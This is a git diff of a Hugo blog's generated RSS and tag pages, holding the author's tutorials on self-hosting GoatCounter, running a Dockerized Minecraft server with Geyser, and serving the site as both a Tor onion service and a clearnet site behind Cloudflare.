    docker compose exec goatcounter   goatcounter db create site   -vhost=statsblog.alipourimjourneys.ir   -user.email=iman.alip2001@gmail.com
    +
    +

    If you ever see “no site at this domain” on localhost: use the exact vhost above.

    +
    +

    3) Cloudflare + Origin certificate (CF → origin TLS)

    +
      +
    • DNS: statsblog.alipourimjourneys.ir → server IP (proxied/orange).
    • +
    • SSL/TLS mode: Full (strict).
    • +
    • Issue a Cloudflare Origin Certificate for statsblog.alipourimjourneys.ir and save on the server:
    • +
    +
    sudo mkdir -p /etc/ssl/cloudflare
    +sudo nano /etc/ssl/cloudflare/origin.crt   # paste PEM
    +sudo nano /etc/ssl/cloudflare/origin.key   # paste key
    +sudo chown root:root /etc/ssl/cloudflare/origin.{crt,key}
    +sudo chmod 644 /etc/ssl/cloudflare/origin.crt
    +sudo chmod 600 /etc/ssl/cloudflare/origin.key
    +

    +

    4) Nginx vhost for the stats subdomain

    +
    # /etc/nginx/sites-available/statsblog.alipourimjourneys.ir.conf
    +server {
    +  listen 80;
    +  server_name statsblog.alipourimjourneys.ir;
    +  return 301 https://$host$request_uri;
    +}
    +
    +server {
    +  listen 443 ssl http2;
    +  server_name statsblog.alipourimjourneys.ir;
    +
    +  ssl_certificate     /etc/ssl/cloudflare/origin.crt;
    +  ssl_certificate_key /etc/ssl/cloudflare/origin.key;
    +
    +  # Proxy to the container on localhost
    +  proxy_set_header Host              $host;
    +  proxy_set_header X-Real-IP         $remote_addr;
    +  proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
    +  proxy_set_header X-Forwarded-Proto $scheme;
    +
    +  location / { proxy_pass http://127.0.0.1:8081; }
    +}
    +

    Enable & reload:

    +
    sudo ln -s /etc/nginx/sites-available/statsblog.alipourimjourneys.ir.conf /etc/nginx/sites-enabled/
    +sudo nginx -t && sudo systemctl reload nginx
    +

    +

    5) Hugo integration (clearnet + onion, singular/plural + “0 views”)

    +

    Self‑host count.js so the onion mirror never fetches a third‑party script:

    +
      +
    • Save the official count.js as static/js/count.js in your Hugo repo.
    • +
    +

    Then add this to layouts/partials/extend_head.html (loader + helper):

    +
    <!-- Loader: choose endpoint based on hostname -->
    +<script>
    +(function () {
    +  var ONION = /\.onion$/i.test(location.hostname);
    +  window.goatcounter = { endpoint: ONION ? '/count' : 'https://statsblog.alipourimjourneys.ir/count' };
    +  var s = document.createElement('script');
    +  s.async = true; s.src = '/js/count.js';
    +  document.head.appendChild(s);
    +})();
    +</script>
    +
    +<!-- Helper: inline meta counts (post pages + lists) and totals -->
    +<script>
    +(function () {
    +  const ONION = /\.onion$/i.test(location.hostname);
    +  const GC_HOST = ONION ? '' : 'https://statsblog.alipourimjourneys.ir'; // '' = same-origin on .onion
    +  const SING='view', PLUR='views';
    +  const nf = new Intl.NumberFormat();
    +
    +  function ready(fn){ if (document.readyState !== 'loading') fn(); else document.addEventListener('DOMContentLoaded', fn); }
    +  function gcPath(){ try { return (window.goatcounter && window.goatcounter.get_data) ? window.goatcounter.get_data().p : location.pathname; } catch { return location.pathname; } }
    +  async function fetchCount(path){
    +    try {
    +      const r = await fetch(`${GC_HOST}/counter/${encodeURIComponent(path)}.json?t=${Date.now()}`, { credentials:'omit' });
    +      if (r.status === 404) return 0;
    +      if (!r.ok) throw 0;
    +      const j = await r.json();
    +      const n = Number(String(j.count).replace(/,/g,''));
    +      return Number.isFinite(n) ? n : 0;
    +    } catch { return null; }
    +  }
    +  const label = (n) => (n === null ? '—' : `${nf.format(n)} ${n === 1 ? SING : PLUR}`);
    +
    +  ready(async function () {
    +    // A) Single post: add to existing meta row + small bottom
    +    const post = document.querySelector('.post-single');
    +    if (post) {
    +      const meta = post.querySelector('.post-header .post-meta, .post-header .entry-meta, .post-meta');
    +      const path = gcPath();
    +      const n = await fetchCount(path);
    +      if (meta) {
    +        let span = meta.querySelector('.post-views'); if (!span) { span = document.createElement('span'); span.className='post-views'; meta.appendChild(span); }
    +        span.textContent = label(n ?? 0);
    +      }
    +      const after = post.querySelector('.post-content') || post;
    +      let bottom = post.querySelector('.post-views-bottom'); if (!bottom) { bottom = document.createElement('div'); bottom.className='post-views-bottom'; after.insertAdjacentElement('afterend', bottom); }
    +      bottom.textContent = label(n ?? 0);
    +    }
    +
    +    // B) Lists (/posts, home, sections): show “0 views” instead of hiding
    +    const cards = document.querySelectorAll('article.post-entry');
    +    await Promise.all(Array.from(cards).map(async (card) => {
    +      const meta = card.querySelector('.entry-footer, .post-meta');
    +      const link = card.querySelector('a.entry-link, h2 a, .entry-title a');
    +      if (!meta || !link) return;
    +      try {
    +        const u = new URL(link.getAttribute('href'), location.origin);
    +        if (u.origin !== location.origin) return;
    +        let span = meta.querySelector('.post-views'); if (!span) { span = document.createElement('span'); span.className='post-views'; meta.appendChild(span); }
    +        const n = await fetchCount(u.pathname);
    +        span.textContent = label(n ?? 0);
    +      } catch {}
    +    }));
    +
    +    // C) Site totals (optional placeholders)
    +    const pvEl = document.getElementById('vercount_value_site_pv');
    +    if (pvEl) { const n = await fetchCount('TOTAL'); pvEl.textContent = (n===null) ? '—' : nf.format(n); }
    +  });
    +})();
    +</script>
    +

    Style so meta items stay inline with middle dots (PaperMod‑like). Put this in assets/css/extended/goatcounter.css:

    +
    .post-single .post-header .post-meta,
    +.post-single .post-header .entry-meta,
    +.post-entry .entry-footer,
    +.post-entry .post-meta {
    +  display:flex; align-items:center; flex-wrap:wrap; gap:.35rem;
    +}
    +.post-single .post-header .post-meta > *,
    +.post-single .post-header .entry-meta > *,
    +.post-entry .entry-footer > *,
    +.post-entry .post-meta > * {
    +  display:inline-flex; align-items:center; white-space:nowrap;
    +}
    +.post-single .post-header .post-meta > * + *::before,
    +.post-single .post-header .entry-meta > * + *::before,
    +.post-entry .entry-footer > * + *::before,
    +.post-entry .post-meta > * + *::before {
    +  content:"·"; margin:0 .5rem; opacity:.6;
    +}
    +.post-views-bottom { margin:.6rem 0 0; opacity:.75; font-size:.95em; }
    +

    +

    6) Count Tor (.onion) visits into the same site

    +

    In the .onion server block, proxy GoatCounter endpoints to the same site by forcing the Host header:

    +
    # inside: server { ... } for fjthpp2h3mj2r....onion
    +
    +location = /count {
    +  proxy_pass http://127.0.0.1:8081/count;
    +  proxy_set_header Host statsblog.alipourimjourneys.ir;
    +  proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    +  proxy_set_header X-Forwarded-Proto http; # onion is http
    +}
    +
    +location /counter/ {
    +  proxy_pass http://127.0.0.1:8081/counter/;
    +  proxy_set_header Host statsblog.alipourimjourneys.ir;
    +  proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    +  proxy_set_header X-Forwarded-Proto http;
    +  add_header Cache-Control "no-store";
    +  proxy_no_cache 1; proxy_cache_bypass 1;
    +}
    +

    Because the loader above sets window.goatcounter.endpoint to /count on .onion, both hits and reads stay on the onion origin and are tallied into the same GoatCounter site.

    +
    +

    Note on DNT/Tor: Tor Browser sends DNT: 1. GoatCounter respects DNT by default, so Tor users won’t be counted unless you disable “Respect Do Not Track” in GoatCounter settings. Your choice; I left the code compatible either way.

    +
    +

    7) Troubleshooting quick notes

    +
      +
    • 400 “no site at this domain” → create the site with -vhost=statsblog.alipourimjourneys.ir or fix your proxy Host header.
    • +
    • Counts don’t change on onion → verify Tor path via torsocks, watch logs: +
      docker compose logs -f goatcounter
      +# look for “ignored: bot” (curl UA), or DNT being respected
      +
    • +
    • DevTools sanity → on clearnet you should see https://statsblog…/count and …/counter/*.json; on onion you should see /count and /counter/*.json (same‑origin).
    • +
    +

    That’s it. One dashboard; clearnet + onion both increment; tiny inline counters everywhere.

    +

    Honestly, self-hosting GoatCounter wasn’t as straightforward as I thought it would be. It almost made me cry a few times. I definitly thought about my life choices a few times along the way. But oh well, now it’s done and dusted, and I’m a happy puppy! :D

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuoACgkQtYgoUOBM
    +jSolRg//SwN9nMf9/Wgkr5h+dQowZMCHXXcKWgO8J08ITVDN1+weNNGANFrz63SQ
    +DajHGeSogYW1+AAxJaAeQ7hLdOX9foV5pT+kWANIjRBXnFyW+WR7kt6tmN2rcSH8
    +z4GKxqE3kdd3kCRhqT0pLiwnurqLgdCK+YldftO6GB8WP4oNDqOwHvoIE6o0ekdH
    +sn7ZBIxMaWc5UqijjqgBHhdHz3uSmL+rN4UwLFM3WXXlwl3HdGyjHcNTG7k648s2
    +X5+7a78OZAuDElpyp9y6WqiAFJQdrwBbTv3vvpU+f911voV7ZA+KbUqHsQrISTKz
    +cd+tPw2lcayfBZRtHMrL3fygvT3AWktcSavZrU5EOX/u/P7eMWEYu0FYh6aHqRak
    ++Ft2FR7EPlB2faS6wWYfoua6BYxFvevXX1fk+0HhZn9UJxJPaa/WTgVWDgpt++Ce
    +fdaDmsR69LIj2QTjPMXdQiUKkWPG2ziadTwJEWUHzOuREifmuBgp9Mwedk6zYkdT
    +m5Roi70IPtX3dDDHG5Votw3AKng3gaU7YcNzZVyi3iZkQkUHPUK47Wj21FajikMP
    +gCcWsoYWBRqdhL5XDrodt28AuLpm0cslz79DZdbLnielcjOS+GaUynjLzEWveOib
    +dxLcbIIap+nt315cjvkfatGv14Dres/K7vhQAhqGy5o0LM1D0qc=
    +=o387
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/view_count.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/view_count.md.asc
    +gpg --verify view_count.md.asc view_count.md
    +  
    +
    + + +]]>
    Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releaseshttps://blog.alipour.eu/posts/minecraft_server/Mon, 29 Sep 2025 09:06:29 +0000https://blog.alipour.eu/posts/minecraft_server/How I containerized a Java Minecraft server with Geyser, hit a /var space wall, and locked the server to the latest stable release.Why +

    I’ve been running a Java Minecraft world (with Bedrock players via Geyser) in tmux. I moved it to Docker for easier updates, backups, and restarts. Along the way I hit:

    +
      +
    • failed to register layer: ... no space left on device
    • +
    • Client saying: “Outdated client, please use 1.21.9 Pre-Release 2”
    • +
    • Wanting config in a neat .env and no whitelist
    • +
    +

    Here’s exactly what I did.

    +
    +

    Folder layout

    +
    ~/minecraft/
    +├─ docker-compose.yml
    +├─ .env
    +└─ plugins/
    +

    +

    .env (secrets & knobs)

    +

    Use the latest stable (not snapshots/pre-releases) by setting VERSION=LATEST.

    +
    # Minecraft server configuration
    +EULA=TRUE
    +TYPE=PAPER
    +VERSION=LATEST
    +MEMORY=4G
    +USE_AIKAR_FLAGS=true
    +
    +# RCON (remote console)
    +ENABLE_RCON=true
    +RCON_PASSWORD=superSecretPassword123
    +
    +

    I don’t use a whitelist, so no WHITELIST/ENFORCE_WHITELIST variables.

    +
    +

    docker-compose.yml

    +
    services:
    +  mc:
    +    image: itzg/minecraft-server:latest
    +    container_name: mc
    +    restart: unless-stopped
    +    ports:
    +      - "25565:25565"        # Java
    +      - "19132:19132/udp"    # Bedrock via Geyser plugin
    +    env_file:
    +      - .env
    +    volumes:
    +      - mc-data:/data
    +      - ./plugins:/plugins:ro
    +volumes:
    +  mc-data: {}
    +
    +

    The version: key in Compose is obsolete now, so I dropped it.

    +
    +

    Add Geyser (and optional Floodgate) as plugins

    +
    mkdir -p ~/minecraft/plugins
    +cd ~/minecraft/plugins
    +
    +# Geyser (Spigot/Paper)
    +wget https://download.geysermc.org/v2/projects/geyser/versions/latest/builds/latest/downloads/spigot   -O Geyser-Spigot.jar
    +
    +# Floodgate (optional: Bedrock accounts without Java linking)
    +wget https://download.geysermc.org/v2/projects/floodgate/versions/latest/builds/latest/downloads/spigot   -O Floodgate-Spigot.jar
    +

    Start it up:

    +
    docker compose up -d
    +

    On first run, Geyser writes its config to /data/plugins/Geyser-Spigot/. Open UDP 19132 on your firewall.

    +
    +

    Hit a wall: /var ran out of space

    +

    Docker stores layers at /var/lib/docker by default. My /var LV was tiny:

    +
    /dev/mapper/ubuntu--vg-var   3.9G  3.4G  333M  92% /var
    +

    Quick cleanup

    +
    docker system df
    +docker system prune -f
    +docker builder prune -af
    +sudo apt-get clean
    +sudo journalctl --vacuum-size=100M
    +

    If that’s not enough, you have two good options:

    +

    Option A — Move Docker’s data off /var

    +
    sudo systemctl stop docker
    +sudo mkdir -p /home/docker
    +sudo rsync -aHAX --info=progress2 /var/lib/docker/ /home/docker/
    +echo '{ "data-root": "/home/docker" }' | sudo tee /etc/docker/daemon.json
    +sudo systemctl start docker
    +docker info | grep "Docker Root Dir"
    +

    If all looks good, free the old space:

    +
    sudo rm -rf /var/lib/docker/*
    +

    Option B — Grow /var (LVM)

    +

    Check free space in the VG:

    +
    sudo vgdisplay   # look for "Free PE / Size"
    +

    If available, extend /var by +5G:

    +
    sudo lvextend -L +5G /dev/mapper/ubuntu--vg-var
    +sudo resize2fs /dev/mapper/ubuntu--vg-var
    +

    +

    The version mismatch: pre-release vs stable

    +

    My logs showed:

    +
    Starting minecraft server version 1.21.9 Pre-Release 2
    +

    That happens if the server pulls a pre-release build (or if VERSION=LATEST). Fix:

    +
      +
    1. Ensure .env has: +
      VERSION=LATEST_RELEASE
      +
    2. +
    3. Recreate: +
      docker compose down
      +docker compose pull
      +docker compose up -d
      +
    4. +
    5. Verify: +
      docker logs mc | grep "Starting minecraft server version"
      +# -> Starting minecraft server version 1.21.1   (example)
      +
    6. +
    +
    +

    Tip: If you want to pin and avoid auto-updates entirely, set VERSION=1.21.1 (or whatever stable you’ve validated).

    +
    +

    No whitelist

    +

    Because I don’t set WHITELIST/ENFORCE_WHITELIST, anyone can join (subject to online-mode, bans, and Geyser/Floodgate auth settings). Manage ops/permissions via:

    +
    docker exec -it mc rcon-cli "op YourJavaIGN"
    +

    (or edit /data/ops.json).

    +
    +

    Backup & updates

    +
      +
    • World/data live under the mc-data volume → back up /data regularly.
    • +
    • Update cleanly: +
      docker compose pull && docker compose up -d
      +
    • +
    • Watch space: +
      watch -n5 'df -h /var; docker system df'
      +
    • +
    +
    +

    TL;DR

    +
      +
    • Put Geyser/Floodgate jars in ./plugins and expose 19132/udp.
    • +
    • Keep configs in .env.
    • +
    • Fix /var space by pruning, moving Docker’s data-root, or extending /var via LVM.
    • +
    • Verify version in logs after each change.
    • +
    +

    Happy block-breaking! 🧱🚀

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuAACgkQtYgoUOBM
    +jSrrmBAAuVoSvB3tRIzD+N0F5OwfYvG3V3z6ok58df7p4js91/a9lcki2ywxw/Dy
    +Q3aeieiGITkd/zMNjTydy4XjkScoRFFlL5GVZ2WNjO8CvjpEv3nK7EX6jRt5leMV
    +0D0DESMnOQzgo4a1CuNHrYPHKPaMVpJ/1aKOUZwyPC9j8/70irAJpoA2jdBgSsxw
    +7p/hYijX0vGJ8+WSFj6707dh6hNRk5ZaNc0cElpkE4kXA31H0h/fRwPPteT4wjGA
    +JWQAyEUu3Vx/U0BnN6R9Lne+5cqxO0Kh8VrcBpyH2VpqH3fDk1fIHk1RdhDxwKD7
    +OzvAT5XXRS5Q6Udc7Nsa9T/OYG+elcgMAMFXosItqTRJNG72OyWloLVc/OrJ5Qsc
    +s81FbfcHp1dgjJ2gtO2Eyb/wb1WkyvrQegNnjuJzMt3awBN1BWex5Nn4Bz+UbLDz
    +g6dGQxcpfDJ6F9Tjz/ru7RZ9Yic/bo8vVvKaa6FhSAwF4SluKWS3cf3meE4GQD5r
    +NrClzg0Vujk/3zP/6yhCL7I0SwQ+NeW2HoUHeoawApBmFt/q5du4ftIx2iMMeWoH
    +F91H35CchRtKArxjpwFNt/J1QAPvKx9UvzA2uAl+LNOWXf/gomXH6Tqm9vnWr/aX
    +sczdH6N2E0+7KDO7NwjBJWa/QwdXKUlOq5fFgAop22v3vWOml1M=
    +=NmxL
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/minecraft_server.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/minecraft_server.md.asc
    +gpg --verify minecraft_server.md.asc minecraft_server.md
    +  
    +
    + + +]]>
    Running my blog on Tor (.onion) and the Clearnet with Hugo + PaperModhttps://blog.alipour.eu/posts/tor_clearnet_blog/Fri, 19 Sep 2025 00:00:00 +0000https://blog.alipour.eu/posts/tor_clearnet_blog/How I hosted a Hugo + PaperMod site both as a Tor onion service and a normal HTTPS site behind Cloudflare, with clean configs, dual builds, and a one-command deploy. +

    TL;DR — The site is built once (Hugo project), published twice:

    +
      +
    • Onion: http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/ via Tor, no TLS/HSTS, bound to 127.0.0.1:3301.
    • +
    • Clearnet: https://blog.alipourimjourneys.ir behind Cloudflare, Let’s Encrypt cert, Onion-Location header pointing to the onion mirror.
    • +
    +
    +

    1) Tor hidden service (onion) basics

    +

    I used Tor’s v3 onion services and mapped onion port 80 → my local web server on 127.0.0.1:3301.

    +

    Install & configure Tor (Debian/Ubuntu):

    +
    sudo apt update && sudo apt install -y tor
    +sudoedit /etc/tor/torrc
    +

    Add:

    +
    HiddenServiceDir /var/lib/tor/hidden_site/
    +HiddenServicePort 80 127.0.0.1:3301
    +

    Make sure the directory is owned by Tor’s user and private:

    +
    sudo mkdir -p /var/lib/tor/hidden_site
    +sudo chown -R debian-tor:debian-tor /var/lib/tor/hidden_site
    +sudo chmod 700 /var/lib/tor/hidden_site
    +

    Important: use the right systemd unit:

    +
    # validate as the Tor user
    +sudo -u debian-tor tor -f /etc/tor/torrc --verify-config
    +
    +# (re)start the real service
    +sudo systemctl enable --now tor@default
    +sudo systemctl restart tor@default
    +

    Get the onion address:

    +
    sudo cat /var/lib/tor/hidden_site/hostname
    +

    Quick check (do remote DNS via SOCKS):

    +
    curl -I --socks5-hostname 127.0.0.1:9050 "http://$(sudo cat /var/lib/tor/hidden_site/hostname)"
    +

    +

    2) Nginx for the onion (localhost-only)

    +

    I keep the onion site strictly on localhost: no HTTPS, no redirects, no HSTS. Tor already provides e2e encryption and authenticity.

    +

    /etc/nginx/sites-available/onion-blog:

    +
    server {
    +    listen 127.0.0.1:3301 default_server;
    +    server_name <your-56-char>.onion 127.0.0.1 localhost;
    +
    +    # keep onion simple; no HSTS/redirects here
    +    add_header Referrer-Policy no-referrer always;
    +    add_header X-Content-Type-Options nosniff always;
    +    add_header X-Frame-Options SAMEORIGIN always;
    +    # (optional) strict CSP so nothing leaks to clearnet
    +    # add_header Content-Security-Policy "default-src 'self'; img-src 'self' data:; style-src 'self' 'unsafe-inline'; script-src 'self'" always;
    +
    +    root /srv/hugo/mysite/public-onion;
    +    index index.html;
    +
    +    location / { try_files $uri $uri/ /index.html; }
    +    location ~* \.(css|js|ico|png|jpg|jpeg|gif|svg|webp|txt|xml)$ {
    +        access_log off;
    +        add_header Cache-Control "public, max-age=31536000, immutable";
    +        try_files $uri =404;
    +    }
    +}
    +

    Enable/reload:

    +
    sudo ln -sf /etc/nginx/sites-available/onion-blog /etc/nginx/sites-enabled/onion-blog
    +sudo nginx -t && sudo systemctl reload nginx
    +
    +

    Gotcha I hit: I had two server blocks on 127.0.0.1:3301, which caused 404s via onion. Make sure only the intended vhost listens there (or mark it default_server). Also, if you ever use a regex in server_name, the syntax is server_name ~* \.onion$ (note the space after ~*).

    +
    +

    3) Hugo + PaperMod setup (and version bumps)

    +

    PaperMod now requires Hugo Extended ≥ 0.146.0. I installed the extended binary from the official tarball to avoid Snap’s sandbox limitations (Snap can’t read /srv paths by default).

    +
    # install Hugo extended (example)
    +VER=0.146.0
    +cd /tmp
    +wget https://github.com/gohugoio/hugo/releases/download/v${VER}/hugo_extended_${VER}_Linux-amd64.tar.gz
    +tar -xzf hugo_extended_${VER}_Linux-amd64.tar.gz
    +sudo mv hugo /usr/local/bin/hugo
    +hugo version  # should say "extended" and >= 0.146.0
    +

    Create the site and theme:

    +
    sudo mkdir -p /srv/hugo && sudo chown -R "$USER":"$USER" /srv/hugo
    +cd /srv/hugo
    +hugo new site mysite
    +cd mysite
    +git init
    +git submodule add https://github.com/adityatelange/hugo-PaperMod themes/PaperMod
    +

    Config updates: in newer Hugo, paginate is deprecated → use:

    +
    # config/_default/hugo.toml
    +title = "My Blog"
    +theme = "PaperMod"
    +enableRobotsTXT = true
    +
    +[pagination]
    +  pagerSize = 10
    +
    +[params]
    +  defaultTheme = "auto"
    +  showReadingTime = true
    +  showPostNavLinks = true
    +  showBreadCrumbs = true
    +  showCodeCopyButtons = true
    +

    I added per-environment overrides so I can build two outputs with different baseURLs:

    +
    # config/clearnet/hugo.toml
    +baseURL = "https://blog.alipourimjourneys.ir/"
    +
    +# config/onion/hugo.toml
    +baseURL = "http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/"
    +

    +

    4) Dual builds (clearnet + onion) and one-command deploy

    +

    I publish the same content twice—once for each base URL and docroot:

    +
    cd /srv/hugo/mysite
    +# clearnet build (served over HTTPS)
    +hugo --minify --environment clearnet -d public-clearnet
    +# onion build (served via Tor)
    +hugo --minify --environment onion    -d public-onion
    +sudo systemctl reload nginx
    +

    Helper script I use:

    +
    sudo tee /usr/local/bin/build-both >/dev/null <<'EOF'
    +#!/usr/bin/env bash
    +set -euo pipefail
    +cd /srv/hugo/mysite
    +hugo --minify --environment clearnet -d public-clearnet
    +hugo --minify --environment onion    -d public-onion
    +sudo systemctl reload nginx
    +echo "Deployed both at $(date)"
    +EOF
    +sudo chmod +x /usr/local/bin/build-both
    +

    While editing, I sometimes auto-rebuild on file save:

    +
    sudo apt install -y entr
    +cd /srv/hugo/mysite
    +find content layouts assets static config -type f | entr -r build-both
    +

    +

    5) Clearnet behind Cloudflare + Let’s Encrypt (manual DNS-01)

    +

    Cloudflare is set to Full (strict). I issued a public cert for blog.alipourimjourneys.ir using manual DNS-01 (no API token):

    +
    sudo snap install --classic certbot
    +sudo certbot certonly --manual --preferred-challenges dns   -d blog.alipourimjourneys.ir   --agree-tos -m you@example.com --no-eff-email
    +

    Certbot tells you to add a TXT record _acme-challenge.blog.alipourimjourneys.ir. Add it in Cloudflare DNS, verify with dig, then continue. Cert ends up at:

    +
    /etc/letsencrypt/live/blog.alipourimjourneys.ir/fullchain.pem
    +/etc/letsencrypt/live/blog.alipourimjourneys.ir/privkey.pem
    +

    Clearnet Nginx vhosts:

    +
    # HTTP → HTTPS redirect (optional; CF usually talks HTTPS to origin anyway)
    +server {
    +  listen 80; listen [::]:80;
    +  server_name blog.alipourimjourneys.ir;
    +  return 301 https://blog.alipourimjourneys.ir$request_uri;
    +}
    +
    +# HTTPS origin (behind Cloudflare)
    +server {
    +  listen 443 ssl http2; listen [::]:443 ssl http2;
    +  server_name blog.alipourimjourneys.ir;
    +
    +  ssl_certificate     /etc/letsencrypt/live/blog.alipourimjourneys.ir/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/blog.alipourimjourneys.ir/privkey.pem;
    +
    +  # HSTS on clearnet only
    +  add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
    +
    +  # Help Tor Browser discover the onion mirror (safe on clearnet)
    +  add_header Onion-Location "http://<your-56-char>.onion$request_uri" always;
    +
    +  root /srv/hugo/mysite/public-clearnet;
    +  index index.html;
    +
    +  location / { try_files $uri $uri/ /index.html; }
    +}
    +
    +

    Note: don’t add HSTS or HTTPS redirects to the onion vhost. Keep onion pure HTTP on localhost.

    +
    +

    6) Troubleshooting I ran into (and fixes)

    +
      +
    • Tor unit confusion: tor.service is a tiny master; the real daemon is tor@default. Use that unit and verify config as debian-tor.
    • +
    • Permissions: HiddenServiceDir must be owned by debian-tor and mode 700.
    • +
    • Mapping mismatch: If HiddenServicePort 80 127.0.0.1:3301 is set, visit http://<onion>/ (no :3301). If you set HiddenServicePort 3301 127.0.0.1:3301, you must use http://<onion>:3301/.
    • +
    • Curl & .onion: modern curl refuses .onion unless you use remote DNS via SOCKS: +
      curl -I --socks5-hostname 127.0.0.1:9050 "http://<onion>/"
      +
    • +
    • Two Nginx vhosts on the same port: I had a duplicate server on 127.0.0.1:3301 pointing somewhere else, which caused onion 404s. Keep only one (or mark one default_server).
    • +
    • Regex in server_name: if you use it, write server_name ~* \.onion$ (space after ~*). I fixed an invalid variable name error caused by a missing space.
    • +
    • PaperMod with old Hugo: upgraded to extended ≥ 0.146.0. Also updated paginate[pagination].pagerSize.
    • +
    • Snap confinement: Snap’s hugo couldn’t read /srv (.../void: permission denied). Switched to the tarball build in /usr/local/bin.
    • +
    +
    +

    7) “Not secure” in Tor Browser?

    +

    That message can appear because onion uses HTTP. It’s OK: Tor provides e2e encryption + onion auth. If you enable HTTPS-Only Mode, add an exception for the site. Also ensure the onion build doesn’t reference clearnet resources (scan the built HTML for http(s):// links that aren’t your onion).

    +
    +

    8) Day-to-day workflow

    +
      +
    • Create content: +
      hugo new posts/my-first-post.md  # then set draft: false
      +
    • +
    • Publish both: +
      build-both
      +
    • +
    • (Optional) Auto on save: +
      find content layouts assets static config -type f | entr -r build-both
      +
    • +
    • (Optional) Git push-to-deploy with a bare repo + post-receive hook that runs build-both.
    • +
    +
    +

    Final notes

    +
      +
    • Clearnet gets HTTPS + HSTS and an Onion-Location header.
    • +
    • Onion gets no HSTS/redirects, and all assets are self-hosted to avoid mixed content.
    • +
    • Serving both worlds from one Hugo repo is easy: two builds, two vhosts, one workflow.
    • +
    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuQACgkQtYgoUOBM
    +jSr80hAAqr/XVnG0YNXXgG5FmVK/xBo5VVdYxba+znAc1rCWJuzwHe2Ih0aYsq7d
    +DMWRkpE9YTfQl/kSYpzlk96KCKv+6lHQXqcPyq+nQTDl/D7iCaOhb8Dog3W/2qN4
    +6G05f47EoiOJY+G/XgUHKqK75QhJrGUtom71t30alciaEGW2SauewBVTGmD+x4y4
    +UN8LABLuB/ZE8sInjoTRr28LWVj6XeHMueY9/tpS9Fm3yw3nHnE4Fv77FtTHQiMo
    +FwGfnomCwVwd5GpaP7LQdtP/a+x4s/bya2keFLW89xgwXolWB6U3y5BLFeVHptQm
    +slRx0+P27gH+CRtoXKI4kHThbmkmjM9ohJc7kxrkkbzB3ujkrxjC+rZnHXPCdbsZ
    +TTiwtJ/jLLbX+NfycW9qR6gVxloO35QA90AY7050tOgAsyH+YUn+Rtj2KVj91E0o
    +VzljG7RAly7yTe+yxzC6OO+iCJvLS6OpLEN5oIG9CmRm5cw/qB2rl8g/Qsru0t7/
    +OrTnJ8fJqq+XRhBet/eR4zogcSEo7fTMp0pDdapMYkO3Xe5VPQ/3Gu7xr8utoXXZ
    +N6VbRTRfq2Vnp+A9NshVsaKqXXaXsAL8GivMk37/bqteZ2BWedvzk1PpGf3f9HS8
    +700JFbZi9uEECoxtnv0uK67i8lkax/gsiTiGdjmx5mzfXfUQXVM=
    +=QlNw
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/tor_clearnet_blog.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/tor_clearnet_blog.md.asc
    +gpg --verify tor_clearnet_blog.md.asc tor_clearnet_blog.md
    +  
    +
    + + +]]>
    \ No newline at end of file diff --git a/public-clearnet/tags/papermod/page/1/index.html b/public-clearnet/tags/papermod/page/1/index.html new file mode 100644 index 0000000..892325e --- /dev/null +++ b/public-clearnet/tags/papermod/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/tags/papermod/ + \ No newline at end of file diff --git a/public-clearnet/tags/pgp/index.html b/public-clearnet/tags/pgp/index.html new file mode 100644 index 0000000..6c61cc4 --- /dev/null +++ b/public-clearnet/tags/pgp/index.html @@ -0,0 +1,11 @@ +Pgp | AlipourIm journeys +

    Sending End‑to‑End Encrypted Email (E2EE) without losing friends

    A practical, mildly opinionated guide to sending encrypted email that normal people can actually read.

    October 30, 2025 · 10 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/tags/pgp/index.xml b/public-clearnet/tags/pgp/index.xml new file mode 100644 index 0000000..2cfccbf --- /dev/null +++ b/public-clearnet/tags/pgp/index.xml @@ -0,0 +1,158 @@ +Pgp on AlipourIm journeyshttps://blog.alipour.eu/tags/pgp/Recent content in Pgp on AlipourIm journeysHugo -- 0.146.0enThu, 30 Oct 2025 00:00:00 +0000Sending End‑to‑End Encrypted Email (E2EE) without losing friendshttps://blog.alipour.eu/posts/e2ee/Thu, 30 Oct 2025 00:00:00 +0000https://blog.alipour.eu/posts/e2ee/A practical, mildly opinionated guide to sending encrypted email that normal people can actually read.If you’ve ever thought “I should really send this securely” and then immediately remembered key servers, certificate stores, and that one time you bricked your GPG setup, this post is for you. Below is a usable path to end‑to‑end encrypted email, roughly how each option works, and when to use which—sprinkled with a little fun so your eyes don’t glaze over.

    +
    +

    Honestly, I don’t know why one would settle down for a paid option, but if you want to, then be my guest.

    +

    Why people don’t use E2EE email (and why you still should)

    +

